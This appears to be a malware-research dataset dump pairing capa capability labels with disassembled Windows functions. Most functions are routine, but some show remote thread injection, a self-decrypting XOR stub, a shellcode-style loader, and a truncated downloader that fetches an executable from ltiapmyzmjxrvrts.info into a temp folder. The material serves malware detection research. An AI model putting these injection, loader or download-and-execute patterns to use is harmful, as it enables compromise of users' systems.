joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002fc80
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140095080]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [0x140098508], 0
jne 0x14002fcf1
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x24]
dec ecx
mov eax, ecx
shr eax, 1
or ecx, eax
mov eax, ecx
shr eax, 2
or ecx, eax
mov eax, ecx
shr eax, 4
or ecx, eax
mov eax, ecx
shr eax, 8
or ecx, eax
mov eax, ecx
shr eax, 0x10
or eax, ecx
inc eax
mov qword [0x1400984f8], rax
mov eax, dword [rsp + 0x48]
mov qword [0x140098500], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [0x140098508], rax
lea rax, [0x1400984f8]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140045ef0
add rsp, 0x68
ret

Function at 0x140030f90
Capabilities:
Get system information on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140095080]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov qword [rcx + 8], rdx
lea rax, vtable.blackbone::Native.0
mov qword [rcx], rax
mov rdi, rcx
xor eax, eax
xor esi, esi
mov qword [rcx + 0x10], rsi
movzx ebx, r8b
lea rcx, [r11 - 0x40]
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x38], rax
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ecx, dword [rsp + 0x2c]
mov dword [rdi + 0x18], ecx
test bl, bl
je 0x140031005
mov word [rdi + 0x14], 0x101
mov byte [rdi + 0x16], 1
jmp 0x140031061
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x24], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov ecx, dword [rsp + 0x20]
cmp ecx, 1
mov edx, dword [rsp + 0x24]
sete al
cmp edx, 1
mov byte [rdi + 0x14], al
sete al
mov byte [rdi + 0x15], al
cmp ecx, 1
jne 0x140031087
cmp edx, ecx
je 0x140031061
cmp ecx, 1
mov byte [rdi + 0x17], 1
setne sil
add esi, 2
mov dword [rdi + 0x10], esi
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140045ef0
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
test ecx, ecx
jne 0x140031053
test edx, edx
jne 0x140031053
mov dword [rdi + 0x10], 1
jmp 0x140031064
Function at 0x140031540
Capabilities:
Create thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x98
mov qword [rsp + 0x80], 0xfffffffffffffffe
mov r15, r9
mov r14, r8
mov rdi, rdx
mov rbp, rcx
call fcn.14000fbb0
mov rbx, rax
movdqa xmm0, xmmword [0x140084730]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov r8d, 0x10
lea rdx, str.NtCreateThreadEx
lea rcx, [rsp + 0x60]
call fcn.140002580
nop
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140011060
mov rsi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400315e8
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400315e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400316a6
call fcn.14004654c
xor ebx, ebx
mov eax, dword [rsp + 0xf0]
xor r8d, r8d
test rsi, rsi
je 0x14003164a
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], 0x100000
mov qword [rsp + 0x40], 0x1000
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, qword [rbp + 8]
mov edx, dword [rsp + 0xf8]
mov rcx, rdi
call rsi
test eax, eax
jns 0x140031696
mov qword [rdi], rbx
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
and eax, 1
shl eax, 2
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r15
mov r9, r14
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rdi], rax
test rax, rax
je 0x140031687
mov eax, ebx
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rax, qword gs:[0x30]
mov eax, dword [rax + 0x1250]
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.14004cff4
int3
Function at 0x14003aec0
Capabilities:
Suspend thread

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rdi + 8], eax
jne 0x14003aeef
mov al, 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rax, qword [rdi]
mov rcx, qword [rax + 0x10]
cmp dword [rcx + 0x10], 3
jne 0x14003afa2
cmp byte [rcx + 0x16], 0
jne 0x14003afa2
call fcn.14000fbb0
mov rbx, rax
movdqa xmm0, xmmword [0x140084730]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
mov r8d, 0x12
lea rdx, str.Wow64SuspendThread
lea rcx, [rsp + 0x20]
call fcn.140002580
nop
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140011060
test rax, rax
je 0x14003af55
mov rcx, qword [rdi + 0x10]
call rax
cmp eax, 0xffffffff
setne bl
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14003af94
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003af8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003afbd
call fcn.14004654c
movzx eax, bl
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
setne al
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
call fcn.14004cff4
int3

Function at 0x14003afd0
Capabilities:
Resume thread

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 8], eax
jne 0x14003afec
mov al, 1
add rsp, 0x20
pop rbx
ret
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne al
add rsp, 0x20
pop rbx
ret
Function at 0x14003b010
Capabilities:
Resume thread

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rdi
sub rsp, 0x970
mov rax, qword [0x140095080]
xor rax, rsp
mov qword [rsp + 0x960], rax
mov edi, edx
mov rbx, rcx
cmp edx, 4
ja 0x14003b1eb
mov qword [r11 + 0x10], rbp
lea rcx, [r11 - 0x688]
xor edx, edx
mov qword [r11 + 0x18], rsi
mov r8d, 0x670
call fcn.1400482f0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x2cc
call fcn.1400482f0
mov rsi, qword [rbx]
mov rax, qword [rsi + 0x10]
movzx ebp, byte [rax + 0x16]
test bpl, bpl
jne 0x14003b0a0
mov rdx, qword [rbx + 0x10]
lea r8, [rsp + 0x2f0]
mov dword [rsp + 0x320], 0x100010
mov rcx, qword [rsi + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x58]
jmp 0x14003b0cd
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x2c8
call fcn.1400482f0
mov rdx, qword [rbx + 0x10]
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100010
mov rcx, qword [rsi + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rsi, qword [rsp + 0x990]
lea r8, [rsp + 0x360]
test bpl, bpl
lea rcx, [rsp + 0x38]
cmovne r8, rcx
test eax, eax
js 0x14003b1c2
mov edx, dword [r8]
test edi, edi
jne 0x14003b100
and edx, 0xfff0fffe
jmp 0x14003b13f
cmp edi, 1
jne 0x14003b10d
and edx, 0xff0ffffb
jmp 0x14003b13f
cmp edi, 2
jne 0x14003b11e
mov eax, 0xf3ffffef
mov ecx, 0xf3ffffbf
jmp 0x14003b128
mov eax, 0x3fffffef
mov ecx, 0x3fffffbf
cmovne eax, ecx
mov ecx, 0xcfffffff
and eax, edx
mov edx, 0xfcffffff
cmp edi, 2
cmovne edx, ecx
and edx, eax
mov eax, edx
mov dword [r8], edx
shr eax, 2
mov ecx, eax
or ecx, edx
shr ecx, 4
or ecx, eax
or ecx, edx
test cl, 1
jne 0x14003b15e
btr edx, 8
mov dword [r8], edx
mov rcx, rbx
call fcn.14003aec0
mov edi, 0xc000071c
test bpl, bpl
jne 0x14003b18f
test al, al
je 0x14003b1c0
mov rax, qword [rbx]
lea r8, [rsp + 0x2f0]
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x68]
jmp 0x14003b1a9
test al, al
je 0x14003b1c0
mov rax, qword [rbx]
lea r8, [rsp + 0x20]
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x60]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 8], eax
je 0x14003b1c0
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
mov rbp, qword [rsp + 0x988]
mov rcx, qword [rsp + 0x960]
xor rcx, rsp
call fcn.140045ef0
mov rbx, qword [rsp + 0x998]
add rsp, 0x970
pop rdi
ret
xor eax, eax
jmp 0x14003b1ca
Function at 0x14003b1f0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x970
mov rax, qword [0x140095080]
xor rax, rsp
mov qword [rsp + 0x960], rax
mov rbx, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x2f0]
mov r8d, 0x670
call fcn.1400482f0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x2cc
call fcn.1400482f0
mov rsi, qword [rdi]
mov rax, qword [rsi + 0x10]
movzx ebp, byte [rax + 0x16]
test bpl, bpl
jne 0x14003b279
mov rdx, qword [rdi + 0x10]
lea r8, [rsp + 0x2f0]
mov dword [rsp + 0x320], 0x100010
mov rcx, qword [rsi + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x58]
jmp 0x14003b2a6
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x2c8
call fcn.1400482f0
mov rdx, qword [rdi + 0x10]
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x100010
mov rcx, qword [rsi + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x50]
test bpl, bpl
lea r8, [rsp + 0x360]
lea rcx, [rsp + 0x38]
cmovne r8, rcx
test eax, eax
jns 0x14003b2c5
xor eax, eax
jmp 0x14003b40f
xor edx, edx
mov ecx, edx
mov eax, edx
nop dword [rax + rax]
cmp qword [rsp + rax*8 + 0x338], rbx
je 0x14003b2f5
cmp dword [rsp + rax*4 + 0x24], ebx
je 0x14003b2f5
inc ecx
inc rax
cmp rax, 4
jl 0x14003b2d0
mov eax, 0xc0000225
jmp 0x14003b40f
movsxd rax, ecx
test bpl, bpl
jne 0x14003b307
mov qword [rsp + rax*8 + 0x338], rdx
jmp 0x14003b30b
mov dword [rsp + rax*4 + 0x24], edx
mov eax, dword [r8]
test ecx, ecx
jne 0x14003b319
mov edx, 0xfffffffe
jmp 0x14003b337
cmp ecx, 1
jne 0x14003b325
mov edx, 0xfffffffb
jmp 0x14003b337
cmp ecx, 2
mov edx, 0xffffffbf
mov r9d, 0xffffffef
cmove edx, r9d
and eax, edx
test ecx, ecx
jne 0x14003b344
and eax, 0xfff3ffff
jmp 0x14003b361
cmp ecx, 1
jne 0x14003b350
and eax, 0xff3fffff
jmp 0x14003b361
cmp ecx, 2
jne 0x14003b35c
and eax, 0xf3ffffff
jmp 0x14003b361
and eax, 0x3fffffff
test ecx, ecx
jne 0x14003b36c
mov edx, 0xfffcffff
jmp 0x14003b38a
cmp ecx, 1
jne 0x14003b378
mov edx, 0xffcfffff
jmp 0x14003b38a
cmp ecx, 2
mov edx, 0xcfffffff
mov r9d, 0xfcffffff
cmove edx, r9d
and eax, edx
mov dword [r8], eax
mov ecx, eax
shr eax, 2
or eax, ecx
shr eax, 2
or eax, ecx
shr eax, 2
or eax, ecx
test al, 1
jne 0x14003b3ab
btr ecx, 8
mov dword [r8], ecx
mov rcx, rdi
call fcn.14003aec0
mov ebx, 0xc000071c
test bpl, bpl
jne 0x14003b3dc
test al, al
je 0x14003b40d
mov rax, qword [rdi]
lea r8, [rsp + 0x2f0]
mov rdx, qword [rdi + 0x10]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x68]
jmp 0x14003b3f6
test al, al
je 0x14003b40d
mov rax, qword [rdi]
lea r8, [rsp + 0x20]
mov rdx, qword [rdi + 0x10]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x60]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rdi + 8], eax
je 0x14003b40d
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
mov rcx, qword [rsp + 0x960]
xor rcx, rsp
call fcn.140045ef0
lea r11, [rsp + 0x970]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14003e450
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140095080]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140045ef0
add rsp, 0x68
ret
Function at 0x140040570
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
cmp qword [r8 + 0x28], 8
lea r9, [r8 + 0x10]
mov r10, qword [r9 + 0x10]
mov rdi, rdx
mov r11, rcx
jb 0x140040592
mov r9, qword [r9]
xor ecx, ecx
movabs rdx, 0xcbf29ce484222325
add r10, r10
je 0x1400405c4
movabs rbx, 0x100000001b3
nop dword [rax]
movzx eax, byte [rcx + r9]
inc rcx
xor rdx, rax
imul rdx, rbx
cmp rcx, r10
jb 0x1400405b0
mov r9, qword [r11 + 0x30]
mov rcx, qword [r11 + 0x18]
and r9, rdx
shl r9, 4
add rcx, r9
mov rax, qword [rcx]
cmp qword [rcx + 8], r8
jne 0x140040604
cmp rax, r8
jne 0x1400405fa
mov rax, qword [r11 + 8]
mov qword [rcx], rax
mov rcx, qword [r11 + 0x18]
mov rax, qword [r11 + 8]
mov qword [r9 + rcx + 8], rax
jmp 0x14004060f
mov rax, qword [r8 + 8]
mov qword [rcx + 8], rax
jmp 0x14004060f
cmp rax, r8
jne 0x14004060f
mov rax, qword [r8]
mov qword [rcx], rax
mov rcx, qword [r8 + 8]
mov rbx, qword [r8]
mov qword [rcx], rbx
mov rdx, qword [r8]
mov rcx, qword [r8 + 8]
mov qword [rdx + 8], rcx
mov rdx, r8
dec qword [r11 + 0x10]
call fcn.1400400f0
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400424d0
Capabilities:
Hash data using fnv

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov rax, qword [0x140095080]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r9
mov r9, r8
mov r14, rdx
mov rsi, rcx
mov qword [rsp + 0x20], rcx
movzx edx, byte [r8]
movabs rax, 0xcbf29ce484222325
xor rdx, rax
movabs rcx, 0x100000001b3
imul rdx, rcx
movzx eax, byte [r8 + 1]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [r8 + 2]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [r8 + 3]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [r8 + 4]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [r8 + 5]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [r8 + 6]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [r8 + 7]
xor rdx, rax
imul rdx, rcx
mov r8, qword [rsi + 0x30]
and r8, rdx
add r8, r8
mov rcx, qword [rsi + 0x18]
mov rbx, qword [rsi + 8]
mov rax, qword [rcx + r8*8]
cmp rbx, rax
je 0x1400425d3
mov rbx, qword [rcx + r8*8 + 8]
mov rbx, qword [rbx]
nop dword [rax + rax]
cmp rbx, rax
je 0x1400425d3
mov rbx, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
cmp qword [r9], rdx
jne 0x1400425a0
mov r8, rdi
lea rdx, [rsp + 0x20]
lea rcx, [rsi + 8]
call fcn.140042720
mov qword [r14], rbx
mov byte [r14 + 8], 0
mov rax, r14
jmp 0x1400426fb
mov qword [rsp + 0x40], rdi
mov rax, qword [rdi]
cmp rbx, rax
je 0x14004260d
mov rcx, qword [rdi + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rbx
mov rcx, qword [rbx + 8]
mov qword [rcx], rdi
mov rdx, qword [rbx + 8]
mov rcx, qword [rax + 8]
mov qword [rbx + 8], rcx
mov rcx, qword [rdi + 8]
mov qword [rax + 8], rcx
mov qword [rdi + 8], rdx
mov rdx, qword [rsi + 0x18]
mov rax, qword [rdx + r8*8]
cmp rax, qword [rsi + 8]
jne 0x14004262a
mov qword [rdx + r8*8], rdi
mov rax, qword [rsi + 0x18]
mov qword [rax + r8*8 + 8], rdi
jmp 0x140042659
cmp rax, rbx
jne 0x140042635
mov qword [rdx + r8*8], rdi
jmp 0x140042659
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rdi
je 0x140042659
mov rdx, qword [rsi + 0x18]
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8*8 + 8], rcx
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x38]
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss xmm1, dword [0x1400846c8]
test rax, rax
jns 0x14004267a
addss xmm0, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm2, rdx
test rdx, rdx
jns 0x14004268b
addss xmm2, xmm1
divss xmm0, xmm2
comiss xmm0, dword [rsi]
jbe 0x1400426f0
cmp rdx, 0x200
jae 0x1400426a7
lea rdx, [rdx*8]
jmp 0x1400426b9
movabs rax, 0xfffffffffffffff
cmp rdx, rax
jae 0x1400426b9
add rdx, rdx
mov rcx, rsi
call fcn.1400104d0
mov rax, qword [rsi + 8]
cmp qword [rax], rax
je 0x1400426f0
mov r15, qword [rax + 8]
nop
mov rbx, qword [rsi + 8]
mov rbx, qword [rbx]
lea r8, [rbx + 0x10]
mov r9, rbx
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1400424d0
cmp rbx, r15
jne 0x1400426d0
mov qword [r14], rdi
mov byte [r14 + 8], 1
mov rax, r14
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140045ef0
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x140042860
Capabilities:
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rdx
mov r9, rcx
movzx edx, byte [r8 + 0x10]
movabs rcx, 0x100000001b3
movabs rax, 0xcbf29ce484222325
xor rdx, rax
movzx eax, byte [r8 + 0x11]
mov r10, qword [r9 + 0x30]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 0x12]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 0x13]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 0x14]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 0x15]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 0x16]
imul rdx, rcx
xor rdx, rax
movzx eax, byte [r8 + 0x17]
imul rdx, rcx
xor rdx, rax
imul rdx, rcx
and r10, rdx
mov rdx, qword [r9 + 0x18]
shl r10, 4
add rdx, r10
mov rax, qword [rdx]
cmp qword [rdx + 8], r8
jne 0x140042920
cmp rax, r8
jne 0x140042916
mov rax, qword [r9 + 8]
mov qword [rdx], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
mov qword [r10 + rcx + 8], rax
jmp 0x14004292b
mov rax, qword [r8 + 8]
mov qword [rdx + 8], rax
jmp 0x14004292b
cmp rax, r8
jne 0x14004292b
mov rcx, qword [r8]
mov qword [rdx], rcx
lea rcx, [r9 + 8]
mov rdx, rbx
call fcn.140042720
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x140056a00
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14005682c

Function at 0x14005e574
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x14005e29a
call fcn.140051a1c
mov dword [rax], 0x16
call fcn.14004cfd4
jmp 0x14005e3e5
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14005e3e5
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14005e3e5
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14005e2c9
lock or dword [rcx + 0x14], 0x10
jmp 0x14005e3e5
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14005e2dd
call fcn.14005e57c
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x14005e2ed
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x14005e2f0
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.14005ad8c
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.140066094
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x14005e3d3
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x14005e381
mov rcx, rbx
call fcn.14005ad8c
cmp eax, 0xffffffff
je 0x14005e36c
mov rcx, rbx
call fcn.14005ad8c
cmp eax, 0xfffffffe
je 0x14005e36c
mov rcx, rbx
call fcn.14005ad8c
movsxd rdi, eax
lea r14, [0x140097bb0]
mov rcx, rbx
sar rdi, 6
call fcn.14005ad8c
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x14005e373
lea rdx, [0x140095420]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14005e381
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x14005e3a5
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x14005e3a5
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x14005e3a5
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x14005e3c3
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x14005e3ce
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x14005e3ea
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x14005e264
Function at 0x141156cb0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x141156cba
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x141156ce3
pop rbp
sub rbp, 0x33
sub rbp, 0x1156cb0
sub rsp, 0x20
jmp 0x141156d02
mov rax, 0x1156cb0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x3ae4e0ee
xor byte [rax], dl
inc rax
dec rcx
jne 0x141156d21
jmp 0x141156d38
cmpsb byte [rsi], byte [rdi]
invalid
Function at 0x140001000
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
movsd xmm0, qword [str.asdasdasdasd]
mov edx, 0xd
mov edi, dword [0x140002258]
mov r8d, 0x3000
movzx ebx, byte [0x14000225c]
xor ecx, ecx
movsd qword [rsp + 0x40], xmm0
lea r9d, [rdx + 0x33]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsd xmm0, qword [rsp + 0x40]
xor ecx, ecx
mov qword [rsp + 0x28], rcx
xor r9d, r9d
mov r8, rax
mov dword [rsp + 0x20], ecx
movsd qword [rax], xmm0
xor edx, edx
mov dword [rax + 8], edi
mov byte [rax + 0xc], bl
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x14000196c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019b8
xor al, al
add rsp, 0x28
ret
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x401483
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
